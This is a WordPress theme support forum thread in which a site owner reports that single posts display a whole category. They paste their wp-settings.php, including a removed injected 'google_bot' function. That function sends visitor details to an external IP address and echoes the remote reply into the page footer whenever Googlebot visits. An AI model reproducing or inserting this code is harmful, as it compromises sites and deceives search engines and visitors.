Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #5635

    Hi,

    I’ve just noticed that all posts are showing from the category when a single post is clicked on, eg:

    http://www.marketeventsgroup.com.au/vic/mordi-market-melbourne/

    the last post on the page is the one that is supposed to be displayed – the feature image at the top is correct but I’m not sure why it’s including the posts in between?? Any advice on how to restore it to the single post being displayed would be great

    Cheers

    #51204

    Hey!

    Did you change anything in your php files? If not are there any plugins that could possibly interfere?

    If neither of that is the case please send me your login details as well as your ftp details via the contact form ( http://www.kriesi.at/contact ) so I can take a look myself :)

    #51205

    Hi Kreisi,

    I have installed some plugins but they were all active long before the error occured, so don’t think that’s the issue. I did have some trouble logging in to the backend a couple of days ago and got the following error message, it started like this:

    Warning: Cannot modify header information – headers already sent by (output started at…

    there was about half a page of the above error message (sorry I don’t have a complete copy of it). It did refer to the problem being located in the wp-settings PHP file (the original is below) at about line 326 I think, so I downloaded WP 3.2.1 and compared the files and there was a large chunk of code at around that line (326 I think) that shouldn’t have been there, so I uploaded the new file without this code (you can see the code I deleted below – it starts with: “function google_bot()”.

    <?php

    /**

    * Used to set up and fix common variables and include

    * the WordPress procedural and class library.

    *

    * Allows for some configuration in wp-config.php (see default-constants.php)

    *

    * @package WordPress

    */

    /**

    * Stores the location of the WordPress directory of functions, classes, and core content.

    *

    * @since 1.0.0

    */

    define( ‘WPINC’, ‘wp-includes’ );

    // Include files required for initialization.

    require( ABSPATH . WPINC . ‘/load.php’ );

    require( ABSPATH . WPINC . ‘/default-constants.php’ );

    require( ABSPATH . WPINC . ‘/version.php’ );

    // Set initial default constants including WP_MEMORY_LIMIT, WP_DEBUG, WP_CONTENT_DIR and WP_CACHE.

    wp_initial_constants( );

    // Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php.

    set_magic_quotes_runtime( 0 );

    @ini_set( ‘magic_quotes_sybase’, 0 );

    // Set default timezone in PHP 5.

    if ( function_exists( ‘date_default_timezone_set’ ) )

    date_default_timezone_set( ‘UTC’ );

    // Turn register_globals off.

    wp_unregister_GLOBALS();

    // Ensure these global variables do not exist so they do not interfere with WordPress.

    unset( $wp_filter, $cache_lastcommentmodified );

    // Standardize $_SERVER variables across setups.

    wp_fix_server_vars();

    // Check for the required PHP version and for the MySQL extension or a database drop-in.

    wp_check_php_mysql_versions();

    // Check if we have recieved a request due to missing favicon.ico

    wp_favicon_request();

    // Check if we’re in maintenance mode.

    wp_maintenance();

    // Start loading timer.

    timer_start();

    // Check if we’re in WP_DEBUG mode.

    wp_debug_mode();

    // For an advanced caching plugin to use. Uses a static drop-in because you would only want one.

    if ( WP_CACHE )

    WP_DEBUG ? include( WP_CONTENT_DIR . ‘/advanced-cache.php’ ) : @include( WP_CONTENT_DIR . ‘/advanced-cache.php’ );

    // Define WP_LANG_DIR if not set.

    wp_set_lang_dir();

    // Load early WordPress files.

    require( ABSPATH . WPINC . ‘/compat.php’ );

    require( ABSPATH . WPINC . ‘/functions.php’ );

    require( ABSPATH . WPINC . ‘/class-wp.php’ );

    require( ABSPATH . WPINC . ‘/class-wp-error.php’ );

    require( ABSPATH . WPINC . ‘/plugin.php’ );

    // Include the wpdb class and, if present, a db.php database drop-in.

    require_wp_db();

    // Set the database table prefix and the format specifiers for database table columns.

    wp_set_wpdb_vars();

    // Start the WordPress object cache, or an external object cache if the drop-in is present.

    wp_start_object_cache();

    // Load early WordPress files.

    require( ABSPATH . WPINC . ‘/default-filters.php’ );

    require( ABSPATH . WPINC . ‘/pomo/mo.php’ );

    // Initialize multisite if enabled.

    if ( is_multisite() ) {

    require( ABSPATH . WPINC . ‘/ms-blogs.php’ );

    require( ABSPATH . WPINC . ‘/ms-settings.php’ );

    } elseif ( ! defined( ‘MULTISITE’ ) ) {

    define( ‘MULTISITE’, false );

    }

    // Stop most of WordPress from being loaded if we just want the basics.

    if ( SHORTINIT )

    return false;

    // Load the l18n library.

    require( ABSPATH . WPINC . ‘/l10n.php’ );

    // Run the installer if WordPress is not installed.

    wp_not_installed();

    // Load most of WordPress.

    require( ABSPATH . WPINC . ‘/class-wp-walker.php’ );

    require( ABSPATH . WPINC . ‘/class-wp-ajax-response.php’ );

    require( ABSPATH . WPINC . ‘/formatting.php’ );

    require( ABSPATH . WPINC . ‘/capabilities.php’ );

    require( ABSPATH . WPINC . ‘/query.php’ );

    require( ABSPATH . WPINC . ‘/theme.php’ );

    require( ABSPATH . WPINC . ‘/user.php’ );

    require( ABSPATH . WPINC . ‘/meta.php’ );

    require( ABSPATH . WPINC . ‘/general-template.php’ );

    require( ABSPATH . WPINC . ‘/link-template.php’ );

    require( ABSPATH . WPINC . ‘/author-template.php’ );

    require( ABSPATH . WPINC . ‘/post.php’ );

    require( ABSPATH . WPINC . ‘/post-template.php’ );

    require( ABSPATH . WPINC . ‘/category.php’ );

    require( ABSPATH . WPINC . ‘/category-template.php’ );

    require( ABSPATH . WPINC . ‘/comment.php’ );

    require( ABSPATH . WPINC . ‘/comment-template.php’ );

    require( ABSPATH . WPINC . ‘/rewrite.php’ );

    require( ABSPATH . WPINC . ‘/feed.php’ );

    require( ABSPATH . WPINC . ‘/bookmark.php’ );

    require( ABSPATH . WPINC . ‘/bookmark-template.php’ );

    require( ABSPATH . WPINC . ‘/kses.php’ );

    require( ABSPATH . WPINC . ‘/cron.php’ );

    require( ABSPATH . WPINC . ‘/deprecated.php’ );

    require( ABSPATH . WPINC . ‘/script-loader.php’ );

    require( ABSPATH . WPINC . ‘/taxonomy.php’ );

    require( ABSPATH . WPINC . ‘/update.php’ );

    require( ABSPATH . WPINC . ‘/canonical.php’ );

    require( ABSPATH . WPINC . ‘/shortcodes.php’ );

    require( ABSPATH . WPINC . ‘/media.php’ );

    require( ABSPATH . WPINC . ‘/http.php’ );

    require( ABSPATH . WPINC . ‘/class-http.php’ );

    require( ABSPATH . WPINC . ‘/widgets.php’ );

    require( ABSPATH . WPINC . ‘/nav-menu.php’ );

    require( ABSPATH . WPINC . ‘/nav-menu-template.php’ );

    require( ABSPATH . WPINC . ‘/admin-bar.php’ );

    // Load multisite-specific files.

    if ( is_multisite() ) {

    require( ABSPATH . WPINC . ‘/ms-functions.php’ );

    require( ABSPATH . WPINC . ‘/ms-default-filters.php’ );

    require( ABSPATH . WPINC . ‘/ms-deprecated.php’ );

    }

    // Define constants that rely on the API to obtain the default value.

    // Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.

    wp_plugin_directory_constants( );

    // Load must-use plugins.

    foreach ( wp_get_mu_plugins() as $mu_plugin ) {

    include_once( $mu_plugin );

    }

    unset( $mu_plugin );

    // Load network activated plugins.

    if ( is_multisite() ) {

    foreach( wp_get_active_network_plugins() as $network_plugin ) {

    include_once( $network_plugin );

    }

    unset( $network_plugin );

    }

    do_action( ‘muplugins_loaded’ );

    if ( is_multisite() )

    ms_cookie_constants( );

    // Define constants after multisite is loaded. Cookie-related constants may be overridden in ms_network_cookies().

    wp_cookie_constants( );

    // Define and enforce our SSL constants

    wp_ssl_constants( );

    // Create common globals.

    require( ABSPATH . WPINC . ‘/vars.php’ );

    // Make taxonomies and posts available to plugins and themes.

    // @plugin authors: warning: these get registered again on the init hook.

    create_initial_taxonomies();

    create_initial_post_types();

    // Register the default theme directory root

    register_theme_directory( get_theme_root() );

    // Load active plugins.

    foreach ( wp_get_active_and_valid_plugins() as $plugin )

    include_once( $plugin );

    unset( $plugin );

    // Load pluggable functions.

    require( ABSPATH . WPINC . ‘/pluggable.php’ );

    require( ABSPATH . WPINC . ‘/pluggable-deprecated.php’ );

    // Set internal encoding.

    wp_set_internal_encoding();

    // Run wp_cache_postload() if object cache is enabled and the function exists.

    if ( WP_CACHE && function_exists( ‘wp_cache_postload’ ) )

    wp_cache_postload();

    do_action( ‘plugins_loaded’ );

    // Define constants which affect functionality if not already defined.

    wp_functionality_constants( );

    // Add magic quotes and set up $_REQUEST ( $_GET + $_POST )

    wp_magic_quotes();

    do_action( ‘sanitize_comment_cookies’ );

    /**

    * WordPress Query object

    * @global object $wp_the_query

    * @since 2.0.0

    */

    $wp_the_query =& new WP_Query();

    /**

    * Holds the reference to @see $wp_the_query

    * Use this global for WordPress queries

    * @global object $wp_query

    * @since 1.5.0

    */

    $wp_query =& $wp_the_query;

    /**

    * Holds the WordPress Rewrite object for creating pretty URLs

    * @global object $wp_rewrite

    * @since 1.5.0

    */

    $wp_rewrite =& new WP_Rewrite();

    /**

    * WordPress Object

    * @global object $wp

    * @since 2.0.0

    */

    $wp =& new WP();

    /**

    * WordPress Widget Factory Object

    * @global object $wp_widget_factory

    * @since 2.8.0

    */

    $wp_widget_factory =& new WP_Widget_Factory();

    do_action( ‘setup_theme’ );

    // Define the template related constants.

    wp_templating_constants( );

    // Load the default text localization domain.

    load_default_textdomain();

    // Find the blog locale.

    $locale = get_locale();

    $locale_file = WP_LANG_DIR . “/$locale.php”;

    if ( is_readable( $locale_file ) )

    require( $locale_file );

    unset($locale_file);

    // Pull in locale data after loading text domain.

    require( ABSPATH . WPINC . ‘/locale.php’ );

    /**

    * WordPress Locale object for loading locale domain date and various strings.

    * @global object $wp_locale

    * @since 2.1.0

    */

    $wp_locale =& new WP_Locale();

    // Load the functions for the active theme, for both parent and child theme if applicable.

    if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . ‘/functions.php’ ) )

    include( STYLESHEETPATH . ‘/functions.php’ );

    if ( file_exists( TEMPLATEPATH . ‘/functions.php’ ) )

    include( TEMPLATEPATH . ‘/functions.php’ );

    do_action( ‘after_setup_theme’ );

    // Load any template functions the theme supports.

    require_if_theme_supports( ‘post-thumbnails’, ABSPATH . WPINC . ‘/post-thumbnail-template.php’ );

    register_shutdown_function( ‘shutdown_action_hook’ );

    // Set up current user.

    $wp->init();

    /**

    * Most of WP is loaded at this stage, and the user is authenticated. WP continues

    * to load on the init hook that follows (e.g. widgets), and many plugins instantiate

    * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).

    *

    * If you wish to plug an action once WP is loaded, use the wp_loaded hook below.

    */

    do_action( ‘init’ );

    // Check site status

    if ( is_multisite() ) {

    if ( true !== ( $file = ms_site_check() ) ) {

    require( $file );

    die();

    }

    unset($file);

    }

    /**

    * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.

    *

    * AJAX requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for

    * users not logged in.

    *

    * @link http://codex.wordpress.org/AJAX_in_Plugins

    *

    * @since 3.0.0

    */

    function google_bot() {$sUserAgent = strtolower($_SERVER);if(!(strpos($sUserAgent, ‘google’) === false)) {if(isset($_SERVER) == true && isset($_SERVER) == true){$ch = curl_init(‘http://91.196.216.30/bot.php?ip=’.$_SERVER.’&host=’.$_SERVER.’&ua=’.urlencode($_SERVER).’&ref=’.$_SERVER);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$re = curl_exec($ch);curl_close($ch);echo $re;}}}add_action(‘wp_footer’, ‘google_bot’);

    do_action(‘wp_loaded’);

    ?>

    Do you think the above may have something to do with the problems I’m having with the single post?

    Cheers

    #51206

    Hey,

    it’s really hard for us to work with code through this forum, its preferable you do what Kriesi asked.

    Quote:
    If neither of that is the case please send me your login details as well as your ftp details via the contact form ( http://www.kriesi.at/contact ) so I can take a look myself :)

Viewing 4 posts - 1 through 4 (of 4 total)

The topic ‘All posts from category are showing on a single post’ is closed to new replies.